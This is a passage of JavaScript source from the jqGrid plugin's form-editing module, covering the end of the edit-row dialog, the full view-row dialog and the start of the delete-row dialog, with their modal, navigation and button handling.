"#gbox_"+$.jgrid.jqID(gID); var cle = false; if(p.closeOnEscape===true){ p.closeOnEscape = false; cle = true; } var tms; if(templ) { $(frm).find("#pData").replaceWith( bP ); $(frm).find("#nData").replaceWith( bN ); $(frm).find("#sData").replaceWith( bS ); $(frm).find("#cData").replaceWith( bC ); tms = $("<div id="+frmtborg+"></div>").append(frm); } else { tms = $("<div></div>").append(frm).append(bt); } $(frm).append("<div class='binfo topinfo bottominfo'>"+rp_ge[$t.p.id].bottominfo+"</div>"); var fs = $('.ui-jqgrid').css('font-size') || '11px'; $.jgrid.createModal(IDs, tms, rp_ge[$(this)[0].p.id], "#gview_"+$.jgrid.jqID($t.p.id), $("#gbox_"+$.jgrid.jqID($t.p.id))[0], null, {"font-size": fs}); if(rtlb) { $("#pData, #nData",frmtb+"_2").css("float","right"); $(".EditButton",frmtb+"_2").css("text-align","left"); } if(rp_ge[$t.p.id].topinfo) {$(".tinfo", frmgr).show();} if(rp_ge[$t.p.id].bottominfo) {$(".binfo",frmgr).show();} tms = null;bt=null; $("#"+$.jgrid.jqID(IDs.themodal)).keydown( function( e ) { var wkey = e.target; if ($(frmgr).data("disabled")===true ) {return false;}//?? if(rp_ge[$t.p.id].savekey[0] === true && e.which === rp_ge[$t.p.id].savekey[1]) { // save if(wkey.tagName !== "TEXTAREA") { $("#sData", frmtb+"_2").trigger("click"); return false; } } if(e.which === 27) { if(!checkUpdates()) {return false;} if(cle) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:p.gbox,jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form});} return false; } if(rp_ge[$t.p.id].navkeys[0]===true) { if($("#id_g",frmtb).val() === "_empty") {return true;} if(e.which === rp_ge[$t.p.id].navkeys[1]){ //up $("#pData", frmtb2).trigger("click"); return false; } if(e.which === rp_ge[$t.p.id].navkeys[2]){ //down $("#nData", frmtb2).trigger("click"); return false; } } }); if(p.checkOnUpdate) { $("a.ui-jqdialog-titlebar-close span","#"+$.jgrid.jqID(IDs.themodal)).removeClass("jqmClose"); $("a.ui-jqdialog-titlebar-close","#"+$.jgrid.jqID(IDs.themodal)).off("click") .click(function(){ if(!checkUpdates()) {return false;} $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); } p.saveicon = $.extend([true,"left", styles.icon_save ],p.saveicon); p.closeicon = $.extend([true,"left", styles.icon_close ],p.closeicon); // beforeinitdata after creation of the form if(p.saveicon[0]===true) { $("#sData",frmtb2).addClass(p.saveicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='"+commonstyle.icon_base + " " +p.saveicon[2]+"'></span>"); } if(p.closeicon[0]===true) { $("#cData",frmtb2).addClass(p.closeicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base +" "+p.closeicon[2]+"'></span>"); } if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { bS ="<a id='sNew' class='fm-button "+commonstyle.button + "' style='z-index:1002'>"+p.bYes+"</a>"; bN ="<a id='nNew' class='fm-button "+commonstyle.button + "' style='z-index:1002;margin-left:5px'>"+p.bNo+"</a>"; bC ="<a id='cNew' class='fm-button "+commonstyle.button + "' style='z-index:1002;margin-left:5px;'>"+p.bExit+"</a>"; var zI = p.zIndex || 999;zI ++; $("#"+IDs.themodal).append("<div class='"+ p.overlayClass+" jqgrid-overlay confirm' style='z-index:"+zI+";display:none;position:absolute;'> "+"</div><div class='confirm ui-jqconfirm "+commonstyle.content+"' style='z-index:"+(zI+1)+"'>"+p.saveData+"<br/><br/>"+bS+bN+bC+"</div>"); $("#sNew","#"+$.jgrid.jqID(IDs.themodal)).click(function(){ postIt(); $(frmgr).data("disabled",false); $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).hide(); return false; }); $("#nNew","#"+$.jgrid.jqID(IDs.themodal)).click(function(){ $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).hide(); $(frmgr).data("disabled",false); setTimeout(function(){$(":input:visible",frmgr)[0].focus();},0); return false; }); $("#cNew","#"+$.jgrid.jqID(IDs.themodal)).click(function(){ $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).hide(); $(frmgr).data("disabled",false); $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); } // here initform $($t).triggerHandler("jqGridAddEditInitializeForm", [$(frmgr), frmoper]); if($.jgrid.isFunction(rp_ge[$t.p.id].onInitializeForm)) { rp_ge[$t.p.id].onInitializeForm.call($t,$(frmgr), frmoper);} if(rowid==="_empty" || !rp_ge[$t.p.id].viewPagerButtons) {$("#pData,#nData",frmtb2).hide();} else {$("#pData,#nData",frmtb2).show();} $($t).triggerHandler("jqGridAddEditBeforeShowForm", [$(frmgr), frmoper]); if($.jgrid.isFunction(rp_ge[$t.p.id].beforeShowForm)) { rp_ge[$t.p.id].beforeShowForm.call($t, $(frmgr), frmoper);} syncSavedData(); $("#"+$.jgrid.jqID(IDs.themodal)).data("onClose",rp_ge[$t.p.id].onClose); $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{ gbox:"#gbox_"+$.jgrid.jqID(gID), jqm:p.jqModal, overlay: p.overlay, modal:p.modal, overlayClass: p.overlayClass, focusField : p.focusField, onHide : function(h) { var fw = $('#editmod'+gID)[0].style.width , //rtlsup = $("#gbox_"+$.jgrid.jqID(gID)).attr("dir") === "rtl" ? true : false, mdh = $('#editmod'+gID)[0].style.height; mdh = ['100%','auto'].includes(mdh) ? mdh : $.jgrid.floatNum(mdh, 200); fw = ['100%','auto'].includes(fw) ? fw : $.jgrid.floatNum(fw, 300); $($t).data("formProp", { top: $.jgrid.floatNum($(h.w).css("top")), left : parseFloat($(h.w).css("left")), width : fw, height : mdh , dataheight : $(frmgr).height(), datawidth: $(frmgr).width() }); h.w.remove(); if(h.o) {h.o.remove();} } }); if(!closeovrl) { $("." + $.jgrid.jqID(p.overlayClass)).click(function(){ if(!checkUpdates()) {return false;} $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); } $(".fm-button","#"+$.jgrid.jqID(IDs.themodal)).hover( function(){$(this).addClass( commonstyle.hover );}, function(){$(this).removeClass( commonstyle.hover );} ); $("#sData", frmtb2).click(function(){ postdata = {}; $(".FormError",frmgr).hide(); // all depend on ret array //ret[0] - succes //ret[1] - msg if not succes //ret[2] - the id that will be set if reload after submit false getFormData(); if(postdata[$t.p.id+"_id"] === "_empty") { postIt(); } else if(p.checkOnSubmit===true ) { diff = compareData(postdata, $t.p.savedData); if(diff) { $(frmgr).data("disabled",true); $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).show(); } else { postIt(); } } else { postIt(); } return false; }); $("#cData", frmtb2).click(function(){ if(!checkUpdates()) {return false;} $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); // user buttons bind $(frmtb2).find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { if( p.buttons[index].hasOwnProperty('click')) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $(frmgr)[0], rp_ge[$t.p.id], e); }); } } }); $("#nData", frmtb2).click(function(){ if(!checkUpdates()) {return false;} $(".FormError",frmgr).hide(); var npos = getCurrPos(); npos[0] = parseInt(npos[0],10); if(npos[0] !== -1 && npos[1][npos[0]+1]) { $($t).triggerHandler("jqGridAddEditClickPgButtons", ['next',$(frmgr),npos[1][npos[0]]]); var nposret; if($.jgrid.isFunction(p.onclickPgButtons)) { nposret = p.onclickPgButtons.call($t, 'next',$(frmgr),npos[1][npos[0]]); if( nposret !== undefined && nposret === false ) {return false;} } if( $("#"+$.jgrid.jqID(npos[1][npos[0]+1])).hasClass( commonstyle.disabled )) {return false;} fillData(npos[1][npos[0]+1],$t,frmgr); if(!($t.p.multiselect && rp_ge[$t.p.id].editselected)) { $($t).jqGrid("setSelection",npos[1][npos[0]+1]); } $($t).triggerHandler("jqGridAddEditAfterClickPgButtons", ['next',$(frmgr),npos[1][npos[0]]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t, 'next',$(frmgr),npos[1][npos[0]+1]); } syncSavedData(); updateNav(npos[0]+1,npos); } return false; }); $("#pData", frmtb2).click(function(){ if(!checkUpdates()) {return false;} $(".FormError",frmgr).hide(); var ppos = getCurrPos(); if(ppos[0] !== -1 && ppos[1][ppos[0]-1]) { $($t).triggerHandler("jqGridAddEditClickPgButtons", ['prev',$(frmgr),ppos[1][ppos[0]]]); var pposret; if($.jgrid.isFunction(p.onclickPgButtons)) { pposret = p.onclickPgButtons.call($t, 'prev',$(frmgr),ppos[1][ppos[0]]); if( pposret !== undefined && pposret === false ) {return false;} } if( $("#"+$.jgrid.jqID(ppos[1][ppos[0]-1])).hasClass( commonstyle.disabled )) {return false;} fillData(ppos[1][ppos[0]-1],$t,frmgr); if(!($t.p.multiselect && rp_ge[$t.p.id].editselected)) { $($t).jqGrid("setSelection",ppos[1][ppos[0]-1]); } $($t).triggerHandler("jqGridAddEditAfterClickPgButtons", ['prev',$(frmgr),ppos[1][ppos[0]]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t, 'prev',$(frmgr),ppos[1][ppos[0]-1]); } syncSavedData(); updateNav(ppos[0]-1,ppos); } return false; }); $($t).triggerHandler("jqGridAddEditAfterShowForm", [$(frmgr), frmoper]); if($.jgrid.isFunction(rp_ge[$t.p.id].afterShowForm)) { rp_ge[$t.p.id].afterShowForm.call($t, $(frmgr), frmoper); } var posInit =getCurrPos(); updateNav(posInit[0],posInit); this.refreshEditForm = function( rid, force ) { if ( force === undefined) { force = false; } if( force || rowid === rid) { fillData(rid, this, frmgr); } if(force) { rowid = rid; } }; }); }, viewGridRow : function(rowid, p){ var regional = $.jgrid.getRegional(this[0], 'view'), currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].formedit, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend(true, { top : 0, left: 0, width: 500, datawidth: 'auto', height: 'auto', dataheight: 'auto', modal: false, overlay: 30, drag: true, resize: true, jqModal: true, closeOnEscape : false, labelswidth: 'auto', closeicon: [], navkeys: [false,38,40], onClose: null, beforeShowForm : null, beforeInitData : null, viewPagerButtons : true, recreateForm : false, removemodal: true, form: 'view', buttons : [] }, regional, p || {}); rp_ge[$(this)[0].p.id] = p; return this.each(function(){ var $t = this; if (!$t.grid || !rowid) {return;} var gID = $t.p.id, frmgr = "ViewGrid_"+$.jgrid.jqID( gID ), frmtb = "ViewTbl_" + $.jgrid.jqID( gID ), frmgr_id = "ViewGrid_"+gID, frmtb_id = "ViewTbl_"+gID, IDs = {themodal:'viewmod'+gID,modalhead:'viewhd'+gID,modalcontent:'viewcnt'+gID, scrollelm : frmgr}, showFrm = true, maxCols = 1, maxRows=0; rp_ge[$t.p.id].styleUI = $t.p.styleUI || 'jQueryUI'; if(!p.recreateForm) { if( $($t).data("viewProp") ) { $.extend(rp_ge[$(this)[0].p.id], $($t).data("viewProp")); } } function focusaref(){ //Sfari 3 issues if(rp_ge[$t.p.id].closeOnEscape===true || rp_ge[$t.p.id].navkeys[0]===true) { setTimeout(function(){$(".ui-jqdialog-titlebar-close","#"+$.jgrid.jqID(IDs.modalhead)).attr("tabindex", "-1").focus();},0); } } function createData(rowid,obj,tb,maxcols){ var nm, hc,trdata, cnt=0,tmp, dc, retpos=[], ind=false, i, tdtmpl = "<td class='CaptionTD form-view-label " + commonstyle.content + "' width='"+p.labelswidth+"'></td><td class='DataTD form-view-data ui-helper-reset " + commonstyle.content +"'></td>", tmpl="", tdtmpl2 = "<td class='CaptionTD form-view-label " + commonstyle.content +"'></td><td class='DataTD form-view-data " + commonstyle.content +"'></td>", fmtnum = ['integer','number','currency'],max1 =0, max2=0 ,maxw,setme, viewfld; for (i=1;i<=maxcols;i++) { tmpl += i === 1 ? tdtmpl : tdtmpl2; } // find max number align rigth with property formatter $(obj.p.colModel).each( function() { if(this.editrules && this.editrules.edithidden === true) { hc = false; } else { hc = this.hidden === true ? true : false; } if(!hc && this.align==='right') { if(this.formatter && $.inArray(this.formatter,fmtnum) !== -1 ) { max1 = Math.max(max1,parseInt(this.width,10)); } else { max2 = Math.max(max2,parseInt(this.width,10)); } } }); maxw = max1 !==0 ? max1 : max2 !==0 ? max2 : 0; ind = $(obj).jqGrid("getInd",rowid); $(obj.p.colModel).each( function(i) { nm = this.name; setme = false; // hidden fields are included in the form if(this.editrules && this.editrules.edithidden === true) { hc = false; } else { hc = this.hidden === true ? true : false; } dc = hc ? "style='display:none'" : ""; viewfld = (typeof this.viewable !== 'boolean') ? true : this.viewable; if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && viewfld && nm !== 'sc') { if(ind === false) { tmp = ""; } else { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $("td",obj.rows[ind]).eq( i ).text(); } else { tmp = $("td",obj.rows[ind]).eq( i ).html(); } } setme = this.align === 'right' && maxw !==0 ? true : false; var frmopt = $.extend({},{rowabove:false,rowcontent:''}, this.formoptions || {}), rp = parseInt(frmopt.rowpos,10) || cnt+1, cp = parseInt((parseInt(frmopt.colpos,10) || 1)*2,10); if(frmopt.rowabove) { var newdata = $("<tr><td class='contentinfo' colspan='"+(maxcols*2)+"'>"+frmopt.rowcontent+"</td></tr>"); $(tb).append(newdata); newdata[0].rp = rp; } trdata = $(tb).find("tr[rowpos="+rp+"]"); if ( trdata.length===0 ) { trdata = $("<tr "+dc+" rowpos='"+rp+"'></tr>").addClass("FormData").attr("id","trv_"+nm); $(trdata).append(tmpl); $(tb).append(trdata); trdata[0].rp = rp; } $("td",trdata[0]).eq( cp-2 ).html('<b>'+ (frmopt.label === undefined ? obj.p.colNames[i]: frmopt.label)+'</b>'); $("td",trdata[0]).eq( cp-1 ).append("<span>"+tmp+"</span>").attr("id","v_"+nm); if(setme){ $("td",trdata[0]).eq( cp-1 ).find('span').css({ 'text-align':'right',width:maxw+"px" }); } retpos[cnt] = i; cnt++; } }); if( cnt > 0) { var idrow = $("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+ (maxcols*2-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='id' value='"+rowid+"'/></td></tr>"); idrow[0].rp = cnt+99; $(tb).append(idrow); } return retpos; } function fillData(rowid,obj){ var nm, hc,cnt=0,tmp,trv; trv = $(obj).jqGrid("getInd",rowid,true); if(!trv) {return;} $('td',trv).each( function(i) { nm = obj.p.colModel[i].name; // hidden fields are included in the form if(obj.p.colModel[i].editrules && obj.p.colModel[i].editrules.edithidden === true) { hc = false; } else { hc = obj.p.colModel[i].hidden === true ? true : false; } if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && nm !== 'sc') { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $(this).text(); } else { tmp = $(this).html(); } nm = $.jgrid.jqID("v_"+nm); $("#"+nm+" span","#"+frmtb).html(tmp); if (hc) {$("#"+nm,"#"+frmtb).parents("tr").first().hide();} cnt++; } }); if(cnt>0) {$("#id_g","#"+frmtb).val(rowid);} } function updateNav(cr,posarr){ var totr = posarr[1].length-1; if (cr===0) { $("#pData","#"+frmtb+"_2").addClass( commonstyle.disabled ); } else if( posarr[1][cr-1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr-1])).hasClass(commonstyle.disabled)) { $("#pData",frmtb+"_2").addClass( commonstyle.disabled ); } else { $("#pData","#"+frmtb+"_2").removeClass( commonstyle.disabled ); } if (cr===totr) { $("#nData","#"+frmtb+"_2").addClass( commonstyle.disabled ); } else if( posarr[1][cr+1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr+1])).hasClass( commonstyle.disabled )) { $("#nData",frmtb+"_2").addClass( commonstyle.disabled ); } else { $("#nData","#"+frmtb+"_2").removeClass( commonstyle.disabled ); } } function getCurrPos() { var rowsInGrid = $($t).jqGrid("getDataIDs"), selrow = $("#id_g","#"+frmtb).val(), pos; if($t.p.multiselect && rp_ge[$t.p.id].viewselected) { var arr = []; for(var i=0, len = rowsInGrid.length;i<len;i++) { if($.inArray(rowsInGrid[i],$t.p.selarrrow) !== -1) { arr.push(rowsInGrid[i]); } } pos = $.inArray(selrow,arr); return [pos, arr]; } else { pos = $.inArray(selrow,rowsInGrid); } return [pos,rowsInGrid]; } var dh = isNaN(rp_ge[$(this)[0].p.id].dataheight) ? rp_ge[$(this)[0].p.id].dataheight : rp_ge[$(this)[0].p.id].dataheight+"px", dw = isNaN(rp_ge[$(this)[0].p.id].datawidth) ? rp_ge[$(this)[0].p.id].datawidth : rp_ge[$(this)[0].p.id].datawidth+"px", frm = $("<form name='FormPost' id='"+frmgr_id+"' class='FormGrid' style='width:"+dw+";height:"+dh+";'></form>"), tbl =$("<table id='"+frmtb_id+"' class='EditTable ViewTable'><tbody></tbody></table>"); $($t.p.colModel).each( function() { var fmto = this.formoptions; maxCols = Math.max(maxCols, fmto ? fmto.colpos || 0 : 0 ); maxRows = Math.max(maxRows, fmto ? fmto.rowpos || 0 : 0 ); }); // set the id. $(frm).append(tbl); showFrm = $($t).triggerHandler("jqGridViewRowBeforeInitData", [frm]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t, frm); } if(showFrm === false) {return;} createData(rowid, $t, tbl, maxCols); var rtlb = $t.p.direction === "rtl" ? true :false, bp = rtlb ? "nData" : "pData", bn = rtlb ? "pData" : "nData", // buttons at footer bP = "<a id='"+bp+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_prev+ "'></span></a>", bN = "<a id='"+bn+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_next+ "'></span></a>", bC ="<a id='cData' class='fm-button " + commonstyle.button + "'>"+p.bClose+"</a>", user_buttons = ( Array.isArray( rp_ge[$t.p.id].buttons ) ? $.jgrid.buildButtons( rp_ge[$t.p.id].buttons, bC, commonstyle ) : bC ); if(maxRows > 0) { var sd=[]; $.each($(tbl)[0].rows,function(i,r){ sd[i] = r; }); sd.sort(function(a,b){ if(a.rp > b.rp) {return 1;} if(a.rp < b.rp) {return -1;} return 0; }); $.each(sd, function(index, row) { $('tbody',tbl).append(row); }); } p.gbox = "#gbox_"+$.jgrid.jqID(gID); var bt = $("<div></div>").append(frm).append("<table border='0' class='EditTable' id='"+frmtb+"_2'><tbody><tr id='Act_Buttons'><td class='navButton' width='"+p.labelswidth+"'>"+(rtlb ? bN+bP : bP+bN)+"</td><td class='EditButton'>"+ user_buttons+"</td></tr></tbody></table>"), fs = $('.ui-jqgrid').css('font-size') || '11px'; $.jgrid.createModal(IDs,bt, rp_ge[$(this)[0].p.id],"#gview_"+$.jgrid.jqID($t.p.id),$("#gview_"+$.jgrid.jqID($t.p.id))[0], null, {"font-size":fs}); if(rtlb) { $("#pData, #nData","#"+frmtb+"_2").css("float","right"); $(".EditButton","#"+frmtb+"_2").css("text-align","left"); } if(!p.viewPagerButtons) {$("#pData, #nData","#"+frmtb+"_2").hide();} bt = null; $("#"+IDs.themodal).keydown( function( e ) { if(e.which === 27) { if(rp_ge[$t.p.id].closeOnEscape) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:p.gbox,jqm:p.jqModal, onClose: p.onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form});} return false; } if(p.navkeys[0]===true) { if(e.which === p.navkeys[1]){ //up $("#pData", "#"+frmtb+"_2").trigger("click"); return false; } if(e.which === p.navkeys[2]){ //down $("#nData", "#"+frmtb+"_2").trigger("click"); return false; } } }); p.closeicon = $.extend([true,"left", styles.icon_close ],p.closeicon); if(p.closeicon[0]===true) { $("#cData","#"+frmtb+"_2").addClass(p.closeicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base+ " " +p.closeicon[2]+"'></span>"); } $($t).triggerHandler("jqGridViewRowBeforeShowForm", [$("#"+frmgr)]); if($.jgrid.isFunction(p.beforeShowForm)) {p.beforeShowForm.call($t,$("#"+frmgr));} $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{ gbox:"#gbox_"+$.jgrid.jqID(gID), jqm:p.jqModal, overlay: p.overlay, modal:p.modal, onHide : function(h) { var rtlsup = $("#gbox_"+$.jgrid.jqID(gID)).attr("dir") === "rtl" ? true : false, fw = parseFloat($('#viewmod'+gID)[0].style.width); $($t).data("viewProp", { top:parseFloat($(h.w).css("top")), left : rtlsup ? ( $("#gbox_"+$.jgrid.jqID(gID)).outerWidth() - fw - parseFloat($(h.w).css("left")) + 12 ) : parseFloat($(h.w).css("left")), width : $(h.w).width(), height : $(h.w).height(), dataheight : $("#"+frmgr).height(), datawidth: $("#"+frmgr).width() }); h.w.remove(); if(h.o) {h.o.remove();} } }); $(".fm-button:not(." + commonstyle.disabled + ")","#"+frmtb+"_2").hover( function(){$(this).addClass( commonstyle.hover );}, function(){$(this).removeClass( commonstyle.hover );} ); focusaref(); $("#cData", "#"+frmtb+"_2").click(function(){ $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: p.onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); $("#"+frmtb+"_2").find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { if( p.buttons[index].hasOwnProperty('click')) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $("#"+frmgr_id)[0], rp_ge[$t.p.id], e); }); } } }); $("#nData", "#"+frmtb+"_2").click(function(){ $("#FormError","#"+frmtb).hide(); var npos = getCurrPos(); npos[0] = parseInt(npos[0],10); if(npos[0] !== -1 && npos[1][npos[0]+1]) { $($t).triggerHandler("jqGridViewRowClickPgButtons", ['next',$("#"+frmgr),npos[1][npos[0]]]); if($.jgrid.isFunction(p.onclickPgButtons)) { p.onclickPgButtons.call($t,'next',$("#"+frmgr),npos[1][npos[0]]); } fillData(npos[1][npos[0]+1],$t); if(!($t.p.multiselect && rp_ge[$t.p.id].viewselected)) { $($t).jqGrid("setSelection",npos[1][npos[0]+1]); } $($t).triggerHandler("jqGridViewRowAfterClickPgButtons", ['next',$("#"+frmgr),npos[1][npos[0]+1]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t,'next',$("#"+frmgr),npos[1][npos[0]+1]); } updateNav(npos[0]+1,npos); } focusaref(); return false; }); $("#pData", "#"+frmtb+"_2").click(function(){ $("#FormError","#"+frmtb).hide(); var ppos = getCurrPos(); if(ppos[0] !== -1 && ppos[1][ppos[0]-1]) { $($t).triggerHandler("jqGridViewRowClickPgButtons", ['prev',$("#"+frmgr),ppos[1][ppos[0]]]); if($.jgrid.isFunction(p.onclickPgButtons)) { p.onclickPgButtons.call($t,'prev',$("#"+frmgr),ppos[1][ppos[0]]); } fillData(ppos[1][ppos[0]-1],$t); if(!($t.p.multiselect && rp_ge[$t.p.id].viewselected)) { $($t).jqGrid("setSelection",ppos[1][ppos[0]-1]); } $($t).triggerHandler("jqGridViewRowAfterClickPgButtons", ['prev',$("#"+frmgr),ppos[1][ppos[0]-1]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t,'prev',$("#"+frmgr),ppos[1][ppos[0]-1]); } updateNav(ppos[0]-1,ppos); } focusaref(); return false; }); var posInit =getCurrPos(); updateNav(posInit[0],posInit); this.refreshViewForm = function( rid, force ) { if ( force === undefined) { force = false; } if( force || rowid === rid) { fillData(rid, this); } if(force) { rowid = rid; } }; }); }, delGridRow : function(rowids,p) { var regional = $.jgrid.getRegional(this[0], 'del'), currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].formedit, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend(true, { top : 0, left: 0, width: 300, height: 'auto', dataheight : 'auto', modal: false, overlay: 30, drag: true, resize: true, url : '', mtype : "POST", reloadAfterSubmit: true, beforeShowForm: null, beforeInitData : null, afterShowForm: null, beforeSubmit: null, onclickSubmit: null, afterSubmit: null, jqModal : true, closeOnEscape : false, delData: {}, delicon : [], cancelicon : [], onClose : null, ajaxDelOptions : {}, processing : false, serializeDelData : null, useDataProxy : false }, regional, p ||{}); rp_ge[$(this)[0].p.id] = p; return this.each(function(){ var $t = this; if (!$t.grid ) {return;} if(!rowids) {return;} var gID = $t.p.id, onCS = {}, showFrm = true, dtbl = "DelTbl_"+$.jgrid.jqID(gID),postd, idname, opers, oper, dtbl_id = "DelTbl_" + gID, IDs = {themodal:'delmod'+gID,modalhead:'delhd'+gID,modalcontent:'delcnt'+gID, scrollelm: dtbl}; rp_ge[$t.p.id].styleUI = $t.p.styleUI || 'jQueryUI'; if (Array.isArray(rowids)) {rowids = rowids.join();} if ( $("#"+$.jgrid.jqID(IDs.themodal))[0] !== undefined ) { showFrm = $($t).triggerHandler("jqGridDelRowBeforeInitData", [$("#"+dtbl)]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t, $("#"+dtbl)); } if(showFrm === false) {return;} $("#DelData>td","#"+dtbl).text(rowids); $("#DelError","#"+dtbl).hide(); if( rp_ge[$t.p.id].processing === true) { rp_ge[$t.p.id].processing=false; $("#dData", "#"+dtbl).removeClass( commonstyle.active ); } $($t).triggerHandler("jqGridDelRowBeforeShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].beforeShowForm )) { rp_ge[$t.p.id].beforeShowForm.call($t,$("#"+dtbl)); } $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{gbox:"#gbox_"+$.jgrid.jqID(gID),jqm:rp_ge[$t.p.id].jqModal, overlay: rp_ge[$t.p.id].overlay, modal:rp_ge[$t.p.id].modal}); $($t).triggerHandler("jqGridDelRowAfterShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].afterShowForm )) { rp_ge[$t.p.id].afterShowForm.call($t, $("#"+dtbl)); } } else { var dh = isNaN(rp_ge[$t.p.id].dataheight) ? rp_ge[$t.p.id].dataheight : rp_ge[$t.p.id].dataheight+"px", dw = isNaN(p.datawidth) ? p.datawidth : p.datawidth+"px", tbl = "<div id='"+dtbl_id+"' class='formdata' style='width:"+dw+";overflow:auto;position:relative;height:"+dh+";'>"; tbl += "<table class='DelTable'><tbody>"; // error data tbl += "<tr id='DelError' style='display:none'><td class='" + commonstyle.error +"'></td></tr>"; tbl += "<tr id='DelData' style='display:none'><td >"+rowids+"</td></tr>"; tbl += "<tr><td class=\"delmsg\" style=\"white-space:pre;\">"+rp_ge[$t.p.id].msg+"</td></tr><tr><td > </td></tr>"; // buttons at footer tbl += "</tbody></table></div>"; var bS = "<a id='dData' class='fm-button " + commonstyle.button + "'>"+p.bSubmit+"</a>", bC = "<a id='eData' class='fm-button " + commonstyle.button + "'>"+p.bCancel+"</a>", user_buttons = ( Array.isArray( rp_ge[$t.p.id].buttons ) ? $.jgrid.buildButtons( rp_ge[$t.p.id].buttons, bS + bC, commonstyle ) : bS + bC ), fs = $('.ui-jqgrid').css('font-size') || '11px'; tbl += "<table class='EditTable ui-common-table' id='"+dtbl+"_2'><tbody><tr><td><hr class='" + commonstyle.content + "' style='margin:1px'/></td></tr><tr><td class='DelButton EditButton'>"+ user_buttons +"</td></tr></tbody></table>"; p.gbox = "#gbox_"+$.jgrid.jqID(gID); $.jgrid.createModal(IDs,tbl, rp_ge[$t.p.id] ,"#gview_"+$.jgrid.jqID($t.p.id),$("#gview_"+$.jgrid.jqID($t.p.id))[0], null, {"font-size": fs}); $(".fm-button","#"+dtbl+"_2").hover( function(){$(this).addClass( commonstyle.hover );}, function(){$(this).removeClass( commonstyle.hover );} ); p.delicon = $.extend([true,"left", styles.icon_del ],rp_ge[$t.p.id].delicon); p.cancelicon = $.extend([true,"left", styles.icon_cancel ],rp_ge[$t.p.id].cancelicon); if(p.delicon[0]===true) { $("#dData","#"+dtbl+"_2").addClass(p.delicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base + " " + p.delicon[2]+"'></span>"); } 